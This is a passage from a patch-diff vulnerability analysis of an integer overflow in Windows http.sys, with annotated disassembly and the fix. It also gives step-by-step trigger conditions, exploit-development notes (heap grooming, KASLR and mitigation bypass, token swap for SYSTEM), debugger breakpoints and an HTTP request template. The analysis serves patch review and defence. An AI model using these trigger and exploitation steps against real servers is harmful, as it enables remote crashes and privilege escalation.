- &lt;code&gt;0x1c000e83d&lt;/code&gt;–&lt;code&gt;0x1c000e840&lt;/code&gt;: only comparison in the path. It tells the function &lt;em&gt;whether&lt;/em&gt; to grow; it does &lt;strong&gt;not&lt;/strong&gt; validate the growth arithmetic.
- &lt;code&gt;0x1c000e846&lt;/code&gt;: &lt;code&gt;lea rdx, [rcx*8 + 0x28]&lt;/code&gt; trusts the wrapped capacity.
- &lt;code&gt;0x1c000e8d7&lt;/code&gt;: the corrupting write. Once &lt;code&gt;capacity&lt;/code&gt; has wrapped and a fresh small allocation has been made, &lt;code&gt;rcx&lt;/code&gt; (count) is on the order of &lt;code&gt;0xFFFC&lt;/code&gt;, so &lt;code&gt;rcx*8 ≈ 0x7FFE0&lt;/code&gt; bytes past the new buffer.&lt;/p&gt;
&lt;h3&gt;PATCHED — the safe path and the RTL safe-add routine &lt;code&gt;RtlUShortAdd (sub_1c001c6e4)&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;UlpParseNextRequest&lt;/code&gt;, the grow decision is followed by a KIR-flag test that selects the checked path:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8ec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; capacity (usAugend)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8f3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x632&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; count &amp;lt; capacity?  -&amp;gt; skip grow&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8fa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000ea14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e900&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;UxKirRefBufferOverflowCheck&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; KIR flag == 1 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e907&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000e994&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; flag off -&amp;gt; OLD unchecked path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e90d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;pusResult&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; checked path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e911&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlUShortAdd&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e916&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e918&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000ea36&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; overflow -&amp;gt; bail&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e91e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;pusResult&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; validated new capacity&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e926&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e92e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; NumberOfBytes = new_cap*8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e938&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExAllocatePoolWithTagPriority&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e98a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15w&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; store validated capacity&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The RTL safe-add routine itself:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c6e4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; 32-bit: capacity + 5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c6e7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; did the low 16 bits go backwards?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c6ea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c001c6f1&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; yes -&amp;gt; overflow path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c6ec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; no  -&amp;gt; use safe value&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c6ef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c001c6f6&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c6f1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xffff&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; clamp path: edx = 0xFFFF&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c6f6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sbb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; eax = 0xFFFFFFFF if CF (overflow)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c6f8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dx&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; store validated capacity&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c6fc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0000095&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; mask in STATUS_INTEGER_OVERFLOW&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c001c701&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Annotations:
- &lt;code&gt;lea eax, [rcx+5]&lt;/code&gt; performs the add in 32 bits, so wrap is detectable.
- &lt;code&gt;cmp ax, cx; jb&lt;/code&gt; is the classic "smaller after add" overflow test for unsigned 16-bit.
- &lt;code&gt;sbb eax, eax&lt;/code&gt; turns CF into &lt;code&gt;0&lt;/code&gt;/&lt;code&gt;-1&lt;/code&gt;, then &lt;code&gt;and&lt;/code&gt; produces either &lt;code&gt;0&lt;/code&gt; (success) or &lt;code&gt;0xC0000095&lt;/code&gt; (overflow).
- The caller gates the allocation on a non-negative return value, so the bad size is never passed to &lt;code&gt;ExAllocatePoolWithTagPriority&lt;/code&gt;.
- The fallback at &lt;code&gt;0x1c000e994&lt;/code&gt; (taken when &lt;code&gt;UxKirRefBufferOverflowCheck&lt;/code&gt; is off) is the original code: &lt;code&gt;lea rdx, [rcx*8+0x28]&lt;/code&gt; allocation, then &lt;code&gt;add cx, 5&lt;/code&gt; / &lt;code&gt;mov [rdi+0x630], cx&lt;/code&gt; at &lt;code&gt;0x1c000ea02&lt;/code&gt; with no overflow check.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To reach and fire the bug on the unpatched driver:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reach the target.&lt;/strong&gt; Identify any HTTP service on the host backed by &lt;code&gt;http.sys&lt;/code&gt; (default port 80, 443, 5985/WinRM, 41792/Print HTTP, or any &lt;code&gt;http.sys&lt;/code&gt; URL reservation). Open a single persistent TCP connection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drive the array to grow.&lt;/strong&gt; Each request (or, in some paths, each Range or chunked segment) adds an entry. The array starts small and grows by 5 capacity slots per fill.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reach the wrap threshold.&lt;/strong&gt; Capacity must climb from its initial value to &lt;code&gt;~0xFFFB&lt;/code&gt;. With growth of 5 slots per fill, this requires on the order of &lt;strong&gt;~13,107 grow events&lt;/strong&gt;, i.e. roughly &lt;code&gt;0xFFFB&lt;/code&gt; total request/range entries sent on the same connection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross the boundary.&lt;/strong&gt; Once the post-add value wraps (&lt;code&gt;capacity+5&lt;/code&gt; overflows past &lt;code&gt;0xFFFF&lt;/code&gt;), the &lt;em&gt;next&lt;/em&gt; request that triggers growth will allocate a buffer sized by the wrapped value (~&lt;code&gt;0x30&lt;/code&gt; bytes typical) while &lt;code&gt;count&lt;/code&gt; is still ~&lt;code&gt;0xFFFC&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Write past the end.&lt;/strong&gt; Any single additional request causes &lt;code&gt;mov qword [rax+rcx*8], rsi&lt;/code&gt; to write 8 bytes at offset &lt;code&gt;count*8&lt;/code&gt; from the start of the new tiny allocation — well outside the buffer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect.&lt;/strong&gt; Expect a kernel-mode bugcheck once the corrupted pool is next examined. Likely stop codes:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KERNEL_DATA_INPAGE_ERROR&lt;/code&gt; (0x7A) or&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; (0x50) — faulting virtual address in the high &lt;code&gt;0xFFFF_FFFF_xxxx_xxxx&lt;/code&gt; range derived from &lt;code&gt;count*8&lt;/code&gt; against an undersized NonPagedPool region, or&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BAD_POOL_HEADER&lt;/code&gt; (0x19) / &lt;code&gt;POOL_CORRUPTION&lt;/code&gt; if pool metadata adjacent to the small allocation is what gets clobbered.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Notes on pacing:&lt;/strong&gt;
- Use &lt;strong&gt;HTTP pipelining&lt;/strong&gt; or &lt;strong&gt;chunked POST&lt;/strong&gt; to push many entries on a single connection without round-trips; this minimizes wall-clock time to reach 65k entries.
- &lt;strong&gt;HTTP Range requests&lt;/strong&gt; are especially attractive if the per-segment path feeds into the same array (&lt;code&gt;Range: bytes=0-1,2-3,4-5,...&lt;/code&gt; produces many entries per request).
- Some endpoints rate-limit; spreading the attack across multiple sockets to the same &lt;code&gt;http.sys&lt;/code&gt; instance does &lt;em&gt;not&lt;/em&gt; help, because the array is per-connection.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; &lt;em&gt;Controlled&lt;/em&gt; kernel pool overflow with a fixed 8-byte stride. The attacker:
- chooses &lt;code&gt;count&lt;/code&gt; (and therefore the offset &lt;code&gt;count*8&lt;/code&gt; from the buffer start),
- supplies the 8-byte pointer value being written (the request/range object pointer, which the attacker indirectly controls via earlier content),&lt;/p&gt;
&lt;p&gt;allowing disciplined writes past the undersized &lt;code&gt;NonPagedPoolNx&lt;/code&gt; allocation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Turning it into a full exploit:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Heap grooming.&lt;/strong&gt; Reclaim the slot adjacent to the undersized allocation with a controllable victim object. Good candidates in &lt;code&gt;NonPagedPoolNx&lt;/code&gt; include:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HAL&lt;/code&gt; PRCB-adjacent structures (avoid),&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Token&lt;/code&gt;/&lt;code&gt;Process&lt;/code&gt; objects (size mismatched — usually no),&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Pipe&lt;/code&gt; instances, &lt;code&gt;Event&lt;/code&gt; objects, &lt;code&gt;Semaphore&lt;/code&gt; objects, or other connection-scoped structures (yes).&lt;/li&gt;
&lt;li&gt;Best targets are objects with a function pointer in the first 8 bytes after the pool header.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Forge the corruption.&lt;/strong&gt; Overflow into the victim object's vtable/function-pointer/&lt;code&gt;LIST_ENTRY&lt;/code&gt;, replacing it with a pointer to attacker-controlled data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Defeat KASLR.&lt;/strong&gt; &lt;code&gt;http.sys&lt;/code&gt; leaks no kernel pointers by default. Either:&lt;/li&gt;
&lt;li&gt;Use an info-leak primitive in another driver (e.g., Win32k, gdi) to obtain the kernel base, or&lt;/li&gt;
&lt;li&gt;Spray &lt;code&gt;NonPagedPoolNx&lt;/code&gt; with objects whose address can be inferred via deterministic allocation patterns.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code execution.&lt;/strong&gt; Once a controlled function pointer is hit, redirect to a ROP/JOP chain located in &lt;code&gt;nt!Ke*&lt;/code&gt; gadgets, or — if SMEP/SMAP allow data-only attacks — corrupt a &lt;code&gt;_TOKEN&lt;/code&gt; pointer for privilege escalation without ever executing userland shellcode.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Mitigations to consider:&lt;/strong&gt;
- &lt;strong&gt;kASLR:&lt;/strong&gt; must be defeated for code-execution flows; the data-only token-swap variant sidesteps it.
- &lt;strong&gt;SMEP / SMAP:&lt;/strong&gt; blocks ret-into-userland flows; the kernel-ROP variant bypasses them.
- &lt;strong&gt;CFG (kernel CFG, CET):&lt;/strong&gt; constrains indirect call targets. Pick corruption targets outside CFG-protected call sites (e.g., &lt;code&gt;LIST_ENTRY&lt;/code&gt; unlinking for arbitrary-write primitives, I/O completion callbacks).
- &lt;strong&gt;HVCI / VBS:&lt;/strong&gt; turns many ROP/JOP chains into hypervisor faults. Data-only token swaps remain viable.
- &lt;strong&gt;Pool header integrity (Win10+):&lt;/strong&gt; randomizes and validates &lt;code&gt;POOL_HEADER&lt;/code&gt;; pure metadata corruption is harder. Prefer corrupting &lt;em&gt;object&lt;/em&gt; fields, not pool headers.&lt;/p&gt;
&lt;p&gt;Realistic outcome: high-impact &lt;strong&gt;LPE to SYSTEM&lt;/strong&gt; from a low-privileged local context, and &lt;strong&gt;remote kernel crash / remote LPE&lt;/strong&gt; when combined with a separate info leak.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Assume WinDbg/KD attached to the &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;http.sys&lt;/code&gt; with symbols resolved via the local PDB or via the offsets below.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp http_unpatched+0xE4A0          ; entry of UlpParseNextRequest (sub_1c000e4a0) — confirms request reached the loop
bp http_unpatched+0xE82F          ; capacity/count read — observe the 16-bit fields live
bp http_unpatched+0xE846          ; size computation: lea rdx,[rcx*8+0x28]
bp http_unpatched+0xE85C          ; ExAllocatePoolWithTagPriority call — inspect rdx (size)
bp http_unpatched+0xE8CD          ; index prep — observe ecx (=count) right before OOB write
bp http_unpatched+0xE8D7          ; *** the OOB write itself ***
bp nt!ExAllocatePoolWithTagPriority
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If &lt;code&gt;http.sys&lt;/code&gt; is loaded at a base other than &lt;code&gt;0x1c0000000&lt;/code&gt;, substitute the equivalent RVAs: &lt;code&gt;+0x1A0&lt;/code&gt;, &lt;code&gt;+0x82F&lt;/code&gt;, &lt;code&gt;+0x846&lt;/code&gt;, &lt;code&gt;+0x85C&lt;/code&gt;, &lt;code&gt;+0x8CD&lt;/code&gt;, &lt;code&gt;+0x8D7&lt;/code&gt; from the driver base.&lt;/p&gt;
&lt;h3&gt;What to inspect at each breakpoint&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0xE82F&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rdi&lt;/code&gt; = connection object. Dump fields:
  &lt;code&gt;text
  dp rdi+0x630 L1     ; bits [0..15] = capacity, bits [16..31] = count
  dq rdi+0x638 L1     ; current buffer pointer&lt;/code&gt;
  Confirm &lt;code&gt;count&lt;/code&gt; is climbing and &lt;code&gt;capacity&lt;/code&gt; is stepping by 5.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0xE846&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; = capacity at the time of growth. &lt;code&gt;rdx&lt;/code&gt; = &lt;code&gt;(capacity*8)+0x28&lt;/code&gt;. &lt;strong&gt;Watch for the wrap:&lt;/strong&gt; when &lt;code&gt;rcx&lt;/code&gt; ≥ &lt;code&gt;0xFFFB&lt;/code&gt;, the &lt;strong&gt;next&lt;/strong&gt; hit of this breakpoint will have &lt;code&gt;rdx&lt;/code&gt; near &lt;code&gt;0x30&lt;/code&gt; (tiny) — that is the smoking-gun allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0xE85C&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rdx&lt;/code&gt; is the requested size. Confirm it is implausibly small relative to the previous allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0xE8D7&lt;/code&gt;:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rax&lt;/code&gt; = new (tiny) buffer pointer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ecx&lt;/code&gt; = count — this is the multiplier.&lt;/li&gt;
&lt;li&gt;Compute the target virtual address in WinDbg: &lt;code&gt;? rax + rcx*8&lt;/code&gt;. Anything more than a few hundred bytes past &lt;code&gt;rax&lt;/code&gt; confirms OOB.&lt;/li&gt;
&lt;li&gt;Set a watchpoint on the byte being written: &lt;code&gt;ba w8 &amp;lt;addr&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger setup (from user mode)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open one persistent TCP socket to the target HTTP port.&lt;/li&gt;
&lt;li&gt;Build an HTTP request that creates many array entries. Easiest path with &lt;code&gt;http.sys&lt;/code&gt;:
   &lt;code&gt;http
   POST / HTTP/1.1
   Host: &amp;lt;target&amp;gt;
   Transfer-Encoding: chunked
   Range: bytes=0-1,2-3,4-5,6-7,8-9,...&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Each comma-separated range creates one entry. Alternatively, pipeline many requests on the same socket without waiting for responses.
